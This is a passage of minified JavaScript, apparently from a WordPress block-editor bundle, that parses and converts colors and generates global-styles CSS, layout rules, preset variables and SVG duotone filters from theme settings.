null;const{fallback:n=!1}=o,{name:r,selectors:s,supports:i}=e,a=s&&Object.keys(s).length>0,l=Array.isArray(t)?t.join("."):t;let c=null;if(c=a&&s.root?s?.root:i?.__experimentalSelector?i.__experimentalSelector:".wp-block-"+r.replace("core/","").replace("/","-"),"root"===l)return c;const d=Array.isArray(t)?t:t.split(".");if(1===d.length){const e=n?c:null;if(a)return y(s,`${l}.root`,null)||y(s,l,null)||e;const t=i?y(i,`${l}.__experimentalSelector`,null):void 0;return t?b(c,t):e}let m;return a&&(m=y(s,l,null)),m||(n?S(e,d[0],o):null)}var j={grad:.9,turn:360,rad:360/(2*Math.PI)},k=function(e){return"string"==typeof e?e.length>0:"number"==typeof e},E=function(e,t,o){return void 0===t&&(t=0),void 0===o&&(o=Math.pow(10,t)),Math.round(o*e)/o+0},C=function(e,t,o){return void 0===t&&(t=0),void 0===o&&(o=1),e>o?o:e>t?e:t},T=function(e){return(e=isFinite(e)?e%360:0)>0?e:e+360},M=function(e){return{r:C(e.r,0,255),g:C(e.g,0,255),b:C(e.b,0,255),a:C(e.a)}},P=function(e){return{r:E(e.r),g:E(e.g),b:E(e.b),a:E(e.a,3)}},N=/^#([0-9a-f]{3,8})$/i,B=function(e){var t=e.toString(16);return t.length<2?"0"+t:t},R=function(e){var t=e.r,o=e.g,n=e.b,r=e.a,s=Math.max(t,o,n),i=s-Math.min(t,o,n),a=i?s===t?(o-n)/i:s===o?2+(n-t)/i:4+(t-o)/i:0;return{h:60*(a<0?a+6:a),s:s?i/s*100:0,v:s/255*100,a:r}},z=function(e){var t=e.h,o=e.s,n=e.v,r=e.a;t=t/360*6,o/=100,n/=100;var s=Math.floor(t),i=n*(1-o),a=n*(1-(t-s)*o),l=n*(1-(1-t+s)*o),c=s%6;return{r:255*[n,a,i,i,l,n][c],g:255*[l,n,n,a,i,i][c],b:255*[i,i,l,n,n,a][c],a:r}},I=function(e){return{h:T(e.h),s:C(e.s,0,100),l:C(e.l,0,100),a:C(e.a)}},$=function(e){return{h:E(e.h),s:E(e.s),l:E(e.l),a:E(e.a,3)}},H=function(e){return z((o=(t=e).s,{h:t.h,s:(o*=((n=t.l)<50?n:100-n)/100)>0?2*o/(n+o)*100:0,v:n+o,a:t.a}));var t,o,n},F=function(e){return{h:(t=R(e)).h,s:(r=(200-(o=t.s))*(n=t.v)/100)>0&&r<200?o*n/100/(r<=100?r:200-r)*100:0,l:r/2,a:t.a};var t,o,n,r},L=/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s*,\s*([+-]?\d*\.?\d+)%\s*,\s*([+-]?\d*\.?\d+)%\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,A=/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s+([+-]?\d*\.?\d+)%\s+([+-]?\d*\.?\d+)%\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,V=/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,O=/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,D={string:[[function(e){var t=N.exec(e);return t?(e=t[1]).length<=4?{r:parseInt(e[0]+e[0],16),g:parseInt(e[1]+e[1],16),b:parseInt(e[2]+e[2],16),a:4===e.length?E(parseInt(e[3]+e[3],16)/255,2):1}:6===e.length||8===e.length?{r:parseInt(e.substr(0,2),16),g:parseInt(e.substr(2,2),16),b:parseInt(e.substr(4,2),16),a:8===e.length?E(parseInt(e.substr(6,2),16)/255,2):1}:null:null},"hex"],[function(e){var t=V.exec(e)||O.exec(e);return t?t[2]!==t[4]||t[4]!==t[6]?null:M({r:Number(t[1])/(t[2]?100/255:1),g:Number(t[3])/(t[4]?100/255:1),b:Number(t[5])/(t[6]?100/255:1),a:void 0===t[7]?1:Number(t[7])/(t[8]?100:1)}):null},"rgb"],[function(e){var t=L.exec(e)||A.exec(e);if(!t)return null;var o,n,r=I({h:(o=t[1],n=t[2],void 0===n&&(n="deg"),Number(o)*(j[n]||1)),s:Number(t[3]),l:Number(t[4]),a:void 0===t[5]?1:Number(t[5])/(t[6]?100:1)});return H(r)},"hsl"]],object:[[function(e){var t=e.r,o=e.g,n=e.b,r=e.a,s=void 0===r?1:r;return k(t)&&k(o)&&k(n)?M({r:Number(t),g:Number(o),b:Number(n),a:Number(s)}):null},"rgb"],[function(e){var t=e.h,o=e.s,n=e.l,r=e.a,s=void 0===r?1:r;if(!k(t)||!k(o)||!k(n))return null;var i=I({h:Number(t),s:Number(o),l:Number(n),a:Number(s)});return H(i)},"hsl"],[function(e){var t=e.h,o=e.s,n=e.v,r=e.a,s=void 0===r?1:r;if(!k(t)||!k(o)||!k(n))return null;var i=function(e){return{h:T(e.h),s:C(e.s,0,100),v:C(e.v,0,100),a:C(e.a)}}({h:Number(t),s:Number(o),v:Number(n),a:Number(s)});return z(i)},"hsv"]]},G=function(e,t){for(var o=0;o<t.length;o++){var n=t[o][0](e);if(n)return[n,t[o][1]]}return[null,void 0]},W=function(e,t){var o=F(e);return{h:o.h,s:C(o.s+100*t,0,100),l:o.l,a:o.a}},U=function(e){return(299*e.r+587*e.g+114*e.b)/1e3/255},q=function(e,t){var o=F(e);return{h:o.h,s:o.s,l:C(o.l+100*t,0,100),a:o.a}},Z=function(){function e(e){this.parsed=function(e){return"string"==typeof e?G(e.trim(),D.string):"object"==typeof e&&null!==e?G(e,D.object):[null,void 0]}(e)[0],this.rgba=this.parsed||{r:0,g:0,b:0,a:1}}return e.prototype.isValid=function(){return null!==this.parsed},e.prototype.brightness=function(){return E(U(this.rgba),2)},e.prototype.isDark=function(){return U(this.rgba)<.5},e.prototype.isLight=function(){return U(this.rgba)>=.5},e.prototype.toHex=function(){return t=(e=P(this.rgba)).r,o=e.g,n=e.b,s=(r=e.a)<1?B(E(255*r)):"","#"+B(t)+B(o)+B(n)+s;var e,t,o,n,r,s},e.prototype.toRgb=function(){return P(this.rgba)},e.prototype.toRgbString=function(){return t=(e=P(this.rgba)).r,o=e.g,n=e.b,(r=e.a)<1?"rgba("+t+", "+o+", "+n+", "+r+")":"rgb("+t+", "+o+", "+n+")";var e,t,o,n,r},e.prototype.toHsl=function(){return $(F(this.rgba))},e.prototype.toHslString=function(){return t=(e=$(F(this.rgba))).h,o=e.s,n=e.l,(r=e.a)<1?"hsla("+t+", "+o+"%, "+n+"%, "+r+")":"hsl("+t+", "+o+"%, "+n+"%)";var e,t,o,n,r},e.prototype.toHsv=function(){return e=R(this.rgba),{h:E(e.h),s:E(e.s),v:E(e.v),a:E(e.a,3)};var e},e.prototype.invert=function(){return Y({r:255-(e=this.rgba).r,g:255-e.g,b:255-e.b,a:e.a});var e},e.prototype.saturate=function(e){return void 0===e&&(e=.1),Y(W(this.rgba,e))},e.prototype.desaturate=function(e){return void 0===e&&(e=.1),Y(W(this.rgba,-e))},e.prototype.grayscale=function(){return Y(W(this.rgba,-1))},e.prototype.lighten=function(e){return void 0===e&&(e=.1),Y(q(this.rgba,e))},e.prototype.darken=function(e){return void 0===e&&(e=.1),Y(q(this.rgba,-e))},e.prototype.rotate=function(e){return void 0===e&&(e=15),this.hue(this.hue()+e)},e.prototype.alpha=function(e){return"number"==typeof e?Y({r:(t=this.rgba).r,g:t.g,b:t.b,a:e}):E(this.rgba.a,3);var t},e.prototype.hue=function(e){var t=F(this.rgba);return"number"==typeof e?Y({h:e,s:t.s,l:t.l,a:t.a}):E(t.h)},e.prototype.isEqual=function(e){return this.toHex()===Y(e).toHex()},e}(),Y=function(e){return e instanceof Z?e:new Z(e)};function K(e){return e.replace(/([a-z])([A-Z])/g,"$1-$2").replace(/([0-9])([a-zA-Z])/g,"$1-$2").replace(/([a-zA-Z])([0-9])/g,"$1-$2").replace(/[\s_]+/g,"-").toLowerCase()}function J(e){if(!e)return;const t=e.match(/var:preset\|spacing\|(.+)/);return t?`var(--wp--preset--spacing--${t[1]})`:e}function X(e,t="0"){const o=function(e){if(!e)return null;const t="string"==typeof e;return{top:t?e:e?.top,left:t?e:e?.left}}(e);if(!o)return null;const n=J(o?.top)||t,r=J(o?.left)||t;return n===r?n:`${n} ${r}`}function Q(e){if(!e||!e?.backgroundImage?.url)return;let t;return e?.backgroundSize||(t={backgroundSize:"cover"}),"contain"!==e?.backgroundSize||e?.backgroundPosition||(t={backgroundPosition:"50% 50%"}),t}var ee={default:{name:"default",slug:"flow",className:"is-layout-flow",baseStyles:[{selector:" > .alignleft",rules:{float:"left","margin-inline-start":"0","margin-inline-end":"2em"}},{selector:" > .alignright",rules:{float:"right","margin-inline-start":"2em","margin-inline-end":"0"}},{selector:" > .aligncenter",rules:{"margin-left":"auto !important","margin-right":"auto !important"}}],spacingStyles:[{selector:" > :first-child",rules:{"margin-block-start":"0"}},{selector:" > :last-child",rules:{"margin-block-end":"0"}},{selector:" > *",rules:{"margin-block-start":null,"margin-block-end":"0"}}]},constrained:{name:"constrained",slug:"constrained",className:"is-layout-constrained",baseStyles:[{selector:" > .alignleft",rules:{float:"left","margin-inline-start":"0","margin-inline-end":"2em"}},{selector:" > .alignright",rules:{float:"right","margin-inline-start":"2em","margin-inline-end":"0"}},{selector:" > .aligncenter",rules:{"margin-left":"auto !important","margin-right":"auto !important"}},{selector:" > :where(:not(.alignleft):not(.alignright):not(.alignfull))",rules:{"max-width":"var(--wp--style--global--content-size)","margin-left":"auto !important","margin-right":"auto !important"}},{selector:" > .alignwide",rules:{"max-width":"var(--wp--style--global--wide-size)"}}],spacingStyles:[{selector:" > :first-child",rules:{"margin-block-start":"0"}},{selector:" > :last-child",rules:{"margin-block-end":"0"}},{selector:" > *",rules:{"margin-block-start":null,"margin-block-end":"0"}}]},flex:{name:"flex",slug:"flex",className:"is-layout-flex",displayMode:"flex",baseStyles:[{selector:"",rules:{"flex-wrap":"wrap","align-items":"center"}},{selector:" > :is(*, div)",rules:{margin:"0"}}],spacingStyles:[{selector:"",rules:{gap:null}}]},grid:{name:"grid",slug:"grid",className:"is-layout-grid",displayMode:"grid",baseStyles:[{selector:" > :is(*, div)",rules:{margin:"0"}}],spacingStyles:[{selector:"",rules:{gap:null}}]}},te=["appearanceTools","useRootPaddingAwareAlignments","background.backgroundImage","background.backgroundRepeat","background.backgroundSize","background.backgroundPosition","background.gradient","border.color","border.radius","border.radiusSizes","border.style","border.width","shadow.presets","shadow.defaultPresets","color.background","color.button","color.caption","color.custom","color.customDuotone","color.customGradient","color.defaultDuotone","color.defaultGradients","color.defaultPalette","color.duotone","color.gradients","color.heading","color.link","color.palette","color.text","custom","dimensions.aspectRatio","dimensions.height","dimensions.minHeight","dimensions.width","dimensions.dimensionSizes","layout.contentSize","layout.definitions","layout.wideSize","lightbox.enabled","lightbox.allowEditing","position.fixed","position.sticky","spacing.customSpacingSize","spacing.defaultSpacingSizes","spacing.spacingSizes","spacing.spacingScale","spacing.blockGap","spacing.margin","spacing.padding","spacing.units","typography.fluid","typography.customFontSize","typography.defaultFontSizes","typography.dropCap","typography.fontFamilies","typography.fontSizes","typography.fontStyle","typography.fontWeight","typography.letterSpacing","typography.lineHeight","typography.textAlign","typography.textColumns","typography.textDecoration","typography.textIndent","typography.textTransform","typography.writingMode"],oe={button:"wp-element-button",caption:"wp-element-caption"},ne={__experimentalBorder:"border",color:"color",dimensions:"dimensions",spacing:"spacing",typography:"typography"};function re(e={},t,o){let n=[];return Object.keys(e).forEach(r=>{const s=t+K(r.replace("/","-")),i=e[r];if(i instanceof Object){const e=s+o;n=[...n,...re(i,e,o)]}else n.push(`${s}: ${i}`)}),n}var se=(e,t,o)=>{if("core/paragraph"!==o)return e;const n=t?.blocks?.["core/paragraph"];if("all"!==(n?.typography?.textIndent??t?.typography?.textIndent??"subsequent"))return e;const r=".wp-block-paragraph + .wp-block-paragraph";if(r in e){const t=e[r],o={...e};return delete o[r],o[".wp-block-paragraph"]=t,o}return e},ie=(e,t)=>{const o=".wp-block-button";if(!(o in e))return e;const n={...e};return n[o]=n[o].map(e=>{const o=e.match(/^width:\s*(.+)$/);if(!o)return e;const n=o[1];let r=null;n.endsWith("%")&&(r=parseFloat(n));if(null===r&&n.startsWith("var(--wp--preset--dimension--")&&n.endsWith(")")){const e=n.slice(29,-1),o={...t?.dimensions?.dimensionSizes??{},...t?.blocks?.["core/button"]?.dimensions?.dimensionSizes??{}};for(const t of Object.values(o))if(Array.isArray(t)){for(const o of t)if(o.slug===e&&"string"==typeof o.size&&o.size.endsWith("%")){r=parseFloat(o.size);break}if(null!==r)break}}return null===r||isNaN(r)?e:`width: calc(${r} * 1% - (var(--wp--style--block-gap, 0.5em) * (1 - ${r} / 100)))`}),n},ae=(e,t)=>{const o={};return Object.entries(e).forEach(([e,n])=>{if("root"===e||!t?.[e])return;const r="string"==typeof n;if(r||"object"!=typeof n||null===n||Object.entries(n).forEach(([n,r])=>{if("root"===n||!t?.[e][n])return;const s=le({[e]:{[n]:t[e][n]}});o[r]=[...o[r]||[],...s],delete t[e][n]}),r||"object"==typeof n&&null!==n&&"root"in n){const s=r?n:n.root,i=le({[e]:t[e]});o[s]=[...o[s]||[],...i],delete t[e]}}),o};function le(e={},t="",o,n={},r=!1){const s=f===t,i=Object.entries(d.__EXPERIMENTAL_STYLE_PROPERTY).reduce((t,[n,{value:r,properties:i,useEngine:a,rootOnly:l}])=>{if(l&&!s)return t;const c=r;if("elements"===c[0]||a)return t;const d=y(e,c);if("--wp--style--root--padding"===n&&("string"==typeof d||!o))return t;if(i&&"string"!=typeof d)Object.entries(i).forEach(e=>{const[o,n]=e;if(!y(d,[n],!1))return;const r=o.startsWith("--")?o:K(o);t.push(`${r}: ${(0,m.getCSSValueFromRawStyle)(y(d,[n]))}`)});else if(y(e,c,!1)){const o=n.startsWith("--")?n:K(n);t.push(`${o}: ${(0,m.getCSSValueFromRawStyle)(y(e,c))}`)}return t},[]);return e.background&&(e.background?.backgroundImage&&(e.background.backgroundImage=v(e.background.backgroundImage,n)),!s&&e.background?.backgroundImage?.id&&(e={...e,background:{...e.background,...Q(e.background)}})),(0,m.getCSSRules)(e).forEach(e=>{if(s&&(o||r)&&e.key.startsWith("padding"))return;const t=e.key.startsWith("--")?e.key:K(e.key);let a=v(e.value,n);"font-size"===t&&(a=_({name:"",slug:"",size:a},n?.settings)),"aspect-ratio"===t&&i.push("min-height: unset"),i.push(`${t}: ${a}`)}),i}function ce({layoutDefinitions:e=ee,style:t,selector:o,hasBlockGapSupport:n,hasFallbackGapSupport:r,fallbackGapValue:s}){let i="",a=n?X(t?.spacing?.blockGap):"";if(r&&(o===f?a=a||"0.5em":!n&&s&&(a=s)),a&&e&&(Object.values(e).forEach(({className:e,name:t,spacingStyles:r})=>{(n||"flex"===t||"grid"===t)&&r?.length&&r.forEach(t=>{const r=[];if(t.rules&&Object.entries(t.rules).forEach(([e,t])=>{r.push(`${e}: ${t||a}`)}),r.length){let s="";s=n?o===f?`:root :where(.${e})${t?.selector||""}`:`:root :where(${o}-${e})${t?.selector||""}`:o===f?`:where(.${e}${t?.selector||""})`:`:where(${o}.${e}${t?.selector||""})`,i+=`${s} { ${r.join("; ")}; }`}})}),o===f&&n&&(i+=`${w} { --wp--style--block-gap: ${a}; }`)),o===f&&e){const t=["block","flex","grid"];Object.values(e).forEach(({className:e,displayMode:n,baseStyles:r})=>{n&&t.includes(n)&&(i+=`${o} .${e} { display:${n}; }`),r?.length&&r.forEach(t=>{const o=[];t.rules&&Object.entries(t.rules).forEach(([e,t])=>{o.push(`${e}: ${t}`)}),o.length&&(i+=`.${e}${t?.selector||""} { ${o.join("; ")}; }`)})})}return i}var de=["border","color","dimensions","spacing","typography","filter","outline","shadow","background"];function me(e){if(!e)return{};const t=Object.entries(e).filter(([e])=>de.includes(e)).map(([e,t])=>[e,JSON.parse(JSON.stringify(t))]);return Object.fromEntries(t)}var ue=(e,t)=>{const o=[];if(!e?.settings)return o;const n=e=>{let t={};return x.forEach(({path:o})=>{const n=y(e,o,!1);!1!==n&&(t=h(t,o,n))}),t},r=n(e.settings),s=e.settings?.custom;return(Object.keys(r).length>0||s)&&o.push({presets:r,custom:s,selector:w}),Object.entries(e.settings?.blocks??{}).forEach(([e,r])=>{const s=r.custom;if("string"==typeof t||!t[e])return;const i=n(r);(Object.keys(i).length>0||s)&&o.push({presets:i,custom:s,selector:t[e]?.selector,featureSelectors:t[e]?.featureSelectors})}),o};function pe(e,t,o){if(!e||"string"==typeof e)return o;const n=e[t];return"string"==typeof n?n:"object"==typeof n&&n.root?n.root:o}function ge(e,t,{path:o,valueKey:n,valueFunc:r,cssVarInfix:s}){const i=y(e,o,[]),a=[];for(const e of["default","theme","custom"])if(i[e])for(const o of i[e]){const e=K(o.slug);n&&!r?a.push(`--wp--preset--${s}--${e}: ${o[n]}`):r&&"function"==typeof r&&a.push(`--wp--preset--${s}--${e}: ${r(o,t)}`)}return a}var _e=(e,t,o,n,r=!1,s=!1,i={})=>{const a={blockGap:!0,blockStyles:!0,layoutStyles:!0,marginReset:!0,presets:!0,rootPadding:!0,variationStyles:!1,...i},l=((e,t)=>{const o=[];if(!e?.styles)return o;const n=me(e.styles);return n&&o.push({styles:n,selector:f,skipSelectorWrapper:!0}),Object.entries(d.__EXPERIMENTAL_ELEMENTS).forEach(([t,n])=>{e.styles?.elements?.[t]&&o.push({styles:e.styles?.elements?.[t]??{},selector:n,skipSelectorWrapper:!oe[t]})}),Object.entries(e.styles?.blocks??{}).forEach(([e,n])=>{const r=me(n),s=n,i=[];if(s?.variations){const o={};Object.entries(s.variations).forEach(([n,r])=>{const s=r;o[n]=me(s),s?.css&&(o[n].css=s.css);const a="string"!=typeof t?t[e]?.styleVariationSelectors?.[n]:void 0;Object.entries(s?.elements??{}).forEach(([e,t])=>{t&&d.__EXPERIMENTAL_ELEMENTS[e]&&i.push({styles:t,selector:b(a,d.__EXPERIMENTAL_ELEMENTS[e])})}),Object.entries(s?.blocks??{}).forEach(([e,o])=>{const n="string"!=typeof t?b(a,t[e]?.selector):void 0,r="string"!=typeof t?b(a,t[e]?.duotoneSelector):void 0,s="string"!=typeof t?function(e,t){if(!e||!t)return;const o={};return Object.entries(t).forEach(([t,n])=>{"string"==typeof n&&(o[t]=b(e,n)),"object"==typeof n&&(o[t]={},Object.entries(n).forEach(([n,r])=>{o[t][n]=b(e,r)}))}),o}(a,t[e]?.featureSelectors??{}):void 0,l=me(o);o?.css&&(l.css=o.css),n&&"string"!=typeof t&&(i.push({selector:n,duotoneSelector:r,featureSelectors:s,fallbackGapValue:t[e]?.fallbackGapValue,hasLayoutSupport:t[e]?.hasLayoutSupport,styles:l}),Object.entries(o.elements??{}).forEach(([e,t])=>{t&&d.__EXPERIMENTAL_ELEMENTS[e]&&i.push({styles:t,selector:b(n,d.__EXPERIMENTAL_ELEMENTS[e])})}))})}),r.variations=o}"string"!=typeof t&&t?.[e]?.selector&&o.push({duotoneSelector:t[e].duotoneSelector,fallbackGapValue:t[e].fallbackGapValue,hasLayoutSupport:t[e].hasLayoutSupport,selector:t[e].selector,styles:r,featureSelectors:t[e].featureSelectors,styleVariationSelectors:t[e].styleVariationSelectors,name:e}),Object.entries(s?.elements??{}).forEach(([n,r])=>{"string"!=typeof t&&r&&t?.[e]&&d.__EXPERIMENTAL_ELEMENTS[n]&&o.push({styles:r,selector:t[e]?.selector.split(",").map(e=>d.__EXPERIMENTAL_ELEMENTS[n].split(",").map(t=>e+" "+t)).join(",")})}),o.push(...i)}),o})(e,t),c=ue(e,t),m=e?.settings?.useRootPaddingAwareAlignments,{contentSize:u,wideSize:p}=e?.settings?.layout||{},g=a.marginReset||a.rootPadding||a.layoutStyles;let _="";if(a.presets&&(u||p)&&(_+=`${w} {`,_=u?_+` --wp--style--global--content-size: ${u};`:_,_=p?_+` --wp--style--global--wide-size: ${p};`:_,_+="}"),g&&(_+=":where(body) {margin: 0;",a.rootPadding&&m&&(_+="padding-right: 0; padding-left: 0; padding-top: var(--wp--style--root--padding-top); padding-bottom: var(--wp--style--root--padding-bottom) }\n\t\t\t\t.has-global-padding { padding-right: var(--wp--style--root--padding-right); padding-left: var(--wp--style--root--padding-left); }\n\t\t\t\t.has-global-padding > .alignfull { margin-right: calc(var(--wp--style--root--padding-right) * -1); margin-left: calc(var(--wp--style--root--padding-left) * -1); }\n\t\t\t\t.has-global-padding :where(:not(.alignfull.is-layout-flow) > .has-global-padding:not(.wp-block-block, .alignfull)) { padding-right: 0; padding-left: 0; }\n\t\t\t\t.has-global-padding :where(:not(.alignfull.is-layout-flow) > .has-global-padding:not(.wp-block-block, .alignfull)) > .alignfull { margin-left: 0; margin-right: 0;\n\t\t\t\t"),_+="}"),a.blockStyles&&l.forEach(({selector:t,duotoneSelector:i,styles:l,fallbackGapValue:c,hasLayoutSupport:d,featureSelectors:u,styleVariationSelectors:p,skipSelectorWrapper:g,name:h})=>{if(u){let t=ae(u,l);t=se(t,e.settings,h),t=ie(t,e.settings),Object.entries(t).forEach(([e,t])=>{if(t.length){const o=t.join(";");_+=`:root :where(${e}){${o};}`}})}if(i){const e={};l?.filter&&(e.filter=l.filter,delete l.filter);const t=le(e);t.length&&(_+=`${i}{${t.join(";")};}`)}r||f!==t&&!d||(_+=ce({style:l,selector:t,hasBlockGapSupport:o,hasFallbackGapSupport:n,fallbackGapValue:c}));const y=le(l,t,m,e,s);y?.length&&(_+=`${g?t:`:root :where(${t})`}{${y.join(";")};}`),l?.css&&(_+=ye(l.css,`:root :where(${t})`)),a.variationStyles&&p&&Object.entries(p).forEach(([o,r])=>{const s=l?.variations?.[o];if(s){if(u){let t=ae(u,s);t=se(t,e.settings,h),t=ie(t,e.settings),Object.entries(t).forEach(([e,t])=>{if(t.length){const o=function(e,t){const o=e.split(","),n=[];return o.forEach(e=>{n.push(`${t.trim()}${e.trim()}`)}),n.join(", ")}(e,r),n=t.join(";");_+=`:root :where(${o}){${n};}`}})}const o=le(s,r,m,e);o.length&&(_+=`:root :where(${r}){${o.join(";")};}`),s?.css&&(_+=ye(s.css,`:root :where(${r})`)),d&&s?.spacing?.blockGap&&(_+=ce({style:s,selector:r+t,hasBlockGapSupport:!0,hasFallbackGapSupport:n,fallbackGapValue:c}))}});const w=Object.entries(l).filter(([e])=>e.startsWith(":"));w?.length&&w.forEach(([e,o])=>{const n=le(o);if(!n?.length)return;const r=`:root :where(${t.split(",").map(t=>t+e).join(",")}){${n.join(";")};}`;_+=r})}),a.layoutStyles&&(_+=".wp-site-blocks > .alignleft { float: left; margin-right: 2em; }",_+=".wp-site-blocks > .alignright { float: right; margin-left: 2em; }",_+=".wp-site-blocks > .aligncenter { justify-content: center; margin-left: auto; margin-right: auto; }"),a.blockGap&&o){const t=X(e?.styles?.spacing?.blockGap)||"0.5em";_+=`:root :where(.wp-site-blocks) > * { margin-block-start: ${t}; margin-block-end: 0; }`,_+=":root :where(.wp-site-blocks) > :first-child { margin-block-start: 0; }",_+=":root :where(.wp-site-blocks) > :last-child { margin-block-end: 0; }"}return a.presets&&c.forEach(({selector:e,presets:t})=>{f!==e&&w!==e||(e="");const o=function(e="*",t={}){return x.reduce((o,{path:n,cssVarInfix:r,classes:s})=>{if(!s)return o;const i=y(t,n,[]);return["default","theme","custom"].forEach(t=>{i[t]&&i[t].forEach(({slug:t})=>{s.forEach(({classSuffix:n,propertyName:s})=>{const i=`.has-${K(t)}-${n}`,a=e.split(",").map(e=>`${e}${i}`).join(","),l=`var(--wp--preset--${r}--${K(t)})`;o+=`${a}{${s}: ${l} !important;}`})})}),o},"")}(e,t);o.length>0&&(_+=o)}),_};function he(e,t){return ue(e,t).flatMap(({presets:e})=>function(e={}){return x.filter(e=>"duotone"===e.path.at(-1)).flatMap(t=>{const o=y(e,t.path,{});return["default","theme"].filter(e=>o[e]).flatMap(e=>o[e].map(e=>function(e,t){const o=function(e=[]){const t={r:[],g:[],b:[],a:[]};return e.forEach(e=>{const o=Y(e).toRgb();t.r.push(o.r/255),t.g.push(o.g/255),t.b.push(o.b/255),t.a.push(o.a)}),t}(t);return`\n<svg\n\txmlns:xlink="http://www.w3.org/1999/xlink"\n\tviewBox="0 0 0 0"\n\twidth="0"\n\theight="0"\n\tfocusable="false"\n\trole="none"\n\taria-hidden="true"\n\tstyle="visibility: hidden; position: absolute; left: -9999px; overflow: hidden;"\n>\n\t<defs>\n\t\t<filter id="${e}">\n\t\t\t\x3c!--\n\t\t\t\tUse sRGB instead of linearRGB so transparency looks correct.\n\t\t\t\tUse perceptual brightness to convert to grayscale.\n\t\t\t--\x3e\n\t\t\t<feColorMatrix color-interpolation-filters="sRGB" type="matrix" values=" .299 .587 .114 0 0 .299 .587 .114 0 0 .299 .587 .114 0 0 .299 .587 .114 0 0 "></feColorMatrix>\n\t\t\t\x3c!-- Use sRGB instead of linearRGB to be consistent with how CSS gradients work. --\x3e\n\t\t\t<feComponentTransfer color-interpolation-filters="sRGB">\n\t\t\t\t<feFuncR type="table" tableValues="${o.r.join(" ")}"></feFuncR>\n\t\t\t\t<feFuncG type="table" tableValues="${o.g.join(" ")}"></feFuncG>\n\t\t\t\t<feFuncB type="table" tableValues="${o.b.join(" ")}"></feFuncB>\n\t\t\t\t<feFuncA type="table" tableValues="${o.a.join(" ")}"></feFuncA>\n\t\t\t</feComponentTransfer>\n\t\t\t\x3c!-- Re-mask the image with the original transparency since the feColorMatrix above loses that information. --\x3e\n\t\t\t<feComposite in2="SourceGraphic" operator="in"></feComposite>\n\t\t</filter>\n\t</defs>\n</svg>`}(`wp-duotone-${e.slug}`,e.colors))).join("")})}(e))}function ye(e,t){let o="";return e&&""!==e.trim()?(e.split("&").forEach(e=>{var n,r;if(e&&""!==e.trim())if(e.includes("{")){const s=e.replace("}","").split("{");if(2!==s.length)return;const[i,a]=s,l=i.match(/([>+~\s]*::[a-zA-Z-]+)/),c=l?l[1]:"",d=l?i.replace(c,"").trim():i.trim();let m;m=""===d?t:i.startsWith(" ")?b(t,d):(r=d,(n=t).includes(",")?n.split(",").map(e=>e+r).join(","):n+r),o+=`:root :where(${m})${c}{${a.trim()}}`}else o+=`:root :where(${t}){${e.trim()}}`}),o):o}function fe(e={},t=[],o={}){const{hasBlockGapSupport:n,hasFallbackGapSupport:s,disableLayoutStyles:i=!1,disableRootPadding:a=!1,styleOptions:l={}}=o,c=t.length>0?t:(0,d.getBlockTypes)(),m=function(e,t){const o=t?"."+t:"",n=`settings${o}`;if(t)return y(e,`settings${o}`)??y(e,n);let r={};return te.forEach(t=>{const o=y(e,`settings.${t}`)??y(e,`settings.${t}`);void 0!==o&&(r=h(r,t.split("."),o))}),r}(e,"spacing.blockGap"),u=n??null!==m,p=s??!u;if(!e?.styles||!e?.settings)return[[],{}];const g=function(e){const t=e.styles?.blocks,o=t?.["core/separator"];return o&&o.color?.background&&!o.color?.text&&!o.border?.color?{...e,styles:{...e.styles,blocks:{...t,"core/separator":{...o,color:{...o.color,text:o.color?.background}}}}}:e}(e),_=((e,t)=>{const{getBlockStyles:o}=(0,r.select)(d.store),n={};return e.forEach(e=>{const r=e.name,s=S(e);if(!s)return;let i=S(e,"filter.duotone");if(!i){const t=S(e),o=(0,d.getBlockSupport)(e,"color.__experimentalDuotone",!1);"string"==typeof o&&t&&(i=b(t,o))}const a=!!e?.supports?.layout||!!e?.supports?.__experimentalLayout,l=e?.supports?.spacing?.blockGap?.__experimentalDefault,c=o(r),m={};c?.forEach(e=>{const o=t?`-${t}`:"",n=`${e.name}${o}`,r=function(e,t){const o=`.is-style-${e}`;if(!t)return o;const n=/((?::\([^)]+\))?\s*)([^\s:]+)/,r=(e,t,n)=>t+n+o;return t.split(",").map(e=>e.replace(n,r)).join(",")}(n,s);m[n]=r});const u=((e,t)=>{if(e?.selectors&&Object.keys(e.selectors).length>0)return e.selectors;const o={root:t};return Object.entries(ne).forEach(([t,n])=>{const r=S(e,t);r&&(o[n]=r)}),o})(e,s);n[r]={duotoneSelector:i??void 0,fallbackGapValue:l,featureSelectors:Object.keys(u).length?u:void 0,hasLayoutSupport:a,name:r,selector:s,styleVariationSelectors:c?.length?m:void 0}}),n})(c),f=((e,t)=>{const o=ue(e,t);let n="";for(const{presets:t,custom:r,selector:s,featureSelectors:i}of o){const o=s,a={[o]:[]};if(e?.settings)for(const n of x){const r=ge(t,e.settings,n);if(0===r.length)continue;const s=pe(i,n.path[0],o);a[s]||(a[s]=[]),a[s].push(...r)}const l=re(r,"--wp--custom--","--");l.length>0&&a[o].push(...l);for(const[e,t]of Object.entries(a))t.length>0&&(n+=`${e}{${t.join(";")};}`)}return n})(g,_),w=_e(g,_,u,p,i,a,l),v=he(g,_),j=[{css:f,isGlobalStyles:!0},{css:w,isGlobalStyles:!0},{css:g?.styles?.css??"",isGlobalStyles:!0},{assets:v,__unstableType:"svgs",isGlobalStyles:!0}];return c.forEach(e=>{const t=g?.styles?.blocks?.[e.name];if(t?.css){const{featureSelectors:o}=_[e.name],n="object"==typeof o?o?.css:void 0;let r;"string"==typeof n?r=n:"object"==typeof n&&(r=n?.root);const s=r??_[e.name].selector;j.push({css:ye(t.css,s),isGlobalStyles:!0})}}),[j,g.settings]}const we={},xe=[],be=(e={})=>(0,n.useMemo)(()=>e?.styles&&e?.settings?fe(e,[],{hasBlockGapSupport:!0,hasFallbackGapSupport:!1,disableLayoutStyles:!1,disableRootPadding:!1}):[xe,we],[e]);var ve=o(14348);const Se=[];function 